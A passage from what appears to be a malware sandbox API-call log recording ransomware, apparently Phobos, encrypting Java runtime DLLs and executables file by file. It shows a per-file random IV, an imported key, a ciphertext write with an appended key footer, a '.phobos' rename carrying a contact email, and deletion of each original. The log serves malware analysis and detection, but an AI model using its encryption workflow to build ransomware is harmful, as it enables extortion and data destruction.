nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0136.619] CryptDestroyKey (hKey=0x752ed8) returned 1 [0136.619] CloseHandle (hObject=0x300) returned 1 [0136.619] CloseHandle (hObject=0x2e4) returned 1 [0136.619] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jp2native.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jp2native.dll")) returned 1 [0136.620] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0136.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0136.620] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=35392) returned 1 [0136.620] CloseHandle (hObject=0x2e4) returned 1 [0136.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 0x20 [0136.620] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.620] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0136.620] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.621] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.621] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0136.621] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753198) returned 1 [0136.621] CryptSetKeyParam (hKey=0x753198, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.621] ReadFile (in: hFile=0x2e4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x8a40, lpOverlapped=0x0) returned 1 [0136.761] CryptEncrypt (in: hKey=0x753198, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x8a50, dwBufLen=0x8a50 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x8a50) returned 1 [0136.761] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x8a50, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x8a50, lpOverlapped=0x0) returned 1 [0136.762] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753098) returned 1 [0136.762] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.762] CryptEncrypt (in: hKey=0x753098, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0136.762] CryptDestroyKey (hKey=0x753098) returned 1 [0136.762] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0136.762] CryptDestroyKey (hKey=0x753198) returned 1 [0136.762] CloseHandle (hObject=0x2e4) returned 1 [0136.762] CloseHandle (hObject=0x300) returned 1 [0136.762] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\jsound.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\jsound.dll")) returned 1 [0136.763] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0136.763] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0136.764] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=16448) returned 1 [0136.764] CloseHandle (hObject=0x300) returned 1 [0136.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 0x20 [0136.764] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0136.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0136.764] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.764] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0136.764] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0136.764] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752a58) returned 1 [0136.764] CryptSetKeyParam (hKey=0x752a58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0136.765] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0x4040, lpOverlapped=0x0) returned 1 [0137.833] CryptEncrypt (in: hKey=0x752a58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x4050, dwBufLen=0x4050 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x4050) returned 1 [0137.833] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x4050, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0x4050, lpOverlapped=0x0) returned 1 [0137.834] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x753018) returned 1 [0137.834] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0137.834] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0137.834] CryptDestroyKey (hKey=0x753018) returned 1 [0137.834] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0137.834] CryptDestroyKey (hKey=0x752a58) returned 1 [0137.834] CloseHandle (hObject=0x300) returned 1 [0137.834] CloseHandle (hObject=0x2e4) returned 1 [0137.834] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\keytool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\keytool.exe")) returned 1 [0137.835] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0137.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0137.835] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=660128) returned 1 [0137.835] CloseHandle (hObject=0x2e4) returned 1 [0137.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 0x20 [0137.835] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0137.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0137.835] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0137.835] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0137.835] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0137.836] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753158) returned 1 [0137.836] CryptSetKeyParam (hKey=0x753158, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0137.836] ReadFile (in: hFile=0x2e4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xa12a0, lpOverlapped=0x0) returned 1 [0138.659] CryptEncrypt (in: hKey=0x753158, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xa12b0, dwBufLen=0xa12b0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xa12b0) returned 1 [0138.660] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xa12b0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xa12b0, lpOverlapped=0x0) returned 1 [0138.669] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752a18) returned 1 [0138.669] CryptSetKeyParam (hKey=0x752a18, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0138.669] CryptEncrypt (in: hKey=0x752a18, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0138.669] CryptDestroyKey (hKey=0x752a18) returned 1 [0138.669] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0138.669] CryptDestroyKey (hKey=0x753158) returned 1 [0138.669] CloseHandle (hObject=0x2e4) returned 1 [0138.670] CloseHandle (hObject=0x300) returned 1 [0138.670] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcp120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcp120.dll")) returned 1 [0138.674] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0138.674] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0138.675] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=963232) returned 1 [0138.675] CloseHandle (hObject=0x300) returned 1 [0138.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 0x20 [0138.675] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0138.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0138.675] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0138.675] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0138.675] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0138.675] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x752ad8) returned 1 [0138.676] CryptSetKeyParam (hKey=0x752ad8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0138.676] ReadFile (in: hFile=0x300, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xeb2a0, lpOverlapped=0x0) returned 1 [0139.629] CryptEncrypt (in: hKey=0x752ad8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xeb2b0, dwBufLen=0xeb2b0 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xeb2b0) returned 1 [0139.630] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xeb2b0, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xeb2b0, lpOverlapped=0x0) returned 1 [0139.643] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x752e58) returned 1 [0139.643] CryptSetKeyParam (hKey=0x752e58, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0139.643] CryptEncrypt (in: hKey=0x752e58, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0139.643] CryptDestroyKey (hKey=0x752e58) returned 1 [0139.643] WriteFile (in: hFile=0x2e4, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0139.644] CryptDestroyKey (hKey=0x752ad8) returned 1 [0139.644] CloseHandle (hObject=0x300) returned 1 [0139.644] CloseHandle (hObject=0x2e4) returned 1 [0139.644] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\msvcr120.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\msvcr120.dll")) returned 1 [0139.651] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0139.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0139.651] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=829264) returned 1 [0139.651] CloseHandle (hObject=0x2e4) returned 1 [0139.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 0x20 [0139.651] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.651] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0139.651] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0139.652] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0139.652] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0139.652] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753018) returned 1 [0139.652] CryptSetKeyParam (hKey=0x753018, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0139.652] ReadFile (in: hFile=0x2e4, lpBuffer=0x3235020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e8f734, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesRead=0x2e8f734*=0xca750, lpOverlapped=0x0) returned 1 [0139.921] CryptEncrypt (in: hKey=0x753018, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xca760, dwBufLen=0xca760 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0xca760) returned 1 [0139.922] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xca760, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xca760, lpOverlapped=0x0) returned 1 [0139.934] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6a4, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f710 | out: phKey=0x2e8f710*=0x7531d8) returned 1 [0139.934] CryptSetKeyParam (hKey=0x7531d8, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0139.934] CryptEncrypt (in: hKey=0x7531d8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40, dwBufLen=0x40 | out: pbData=0x3235020*, pdwDataLen=0x2e8f6d0*=0x40) returned 1 [0139.934] CryptDestroyKey (hKey=0x7531d8) returned 1 [0139.934] WriteFile (in: hFile=0x300, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e8f718, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e8f718*=0xf2, lpOverlapped=0x0) returned 1 [0139.934] CryptDestroyKey (hKey=0x753018) returned 1 [0139.934] CloseHandle (hObject=0x2e4) returned 1 [0139.934] CloseHandle (hObject=0x300) returned 1 [0139.934] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\plugin2\\msvcr100.dll")) returned 1 [0139.940] CryptGenRandom (in: hProv=0x7268e0, dwLen=0x10, pbBuffer=0x2e8f7b8 | out: pbBuffer=0x2e8f7b8) returned 1 [0139.940] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0139.941] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x2e8f758 | out: lpFileSize=0x2e8f758*=130624) returned 1 [0139.941] CloseHandle (hObject=0x300) returned 1 [0139.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll")) returned 0x20 [0139.941] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos")) returned 0xffffffff [0139.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0139.941] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0139.941] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e8f6f8 | out: lpNewFilePointer=0x0) returned 1 [0139.941] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[B4197730-1030].[ramsey_frederick@aol.com].phobos" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\prism_d3d.dll.id[b4197730-1030].[ramsey_frederick@aol.com].phobos"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4 [0139.941] CryptImportKey (in: hProv=0x7268e0, pbData=0x2e8f6b0, dwDataLen=0x4c, hPubKey=0x0, dwFlags=0x0, phKey=0x2e8f70c | out: phKey=0x2e8f70c*=0x753098) returned 1 [0139.941] CryptSetKeyParam (hKey=0x753098, dwParam=0x1, pbData=0x2e8f7b8, dwFlags=0x0) returned 1 [0139.941] ReadFile (in: 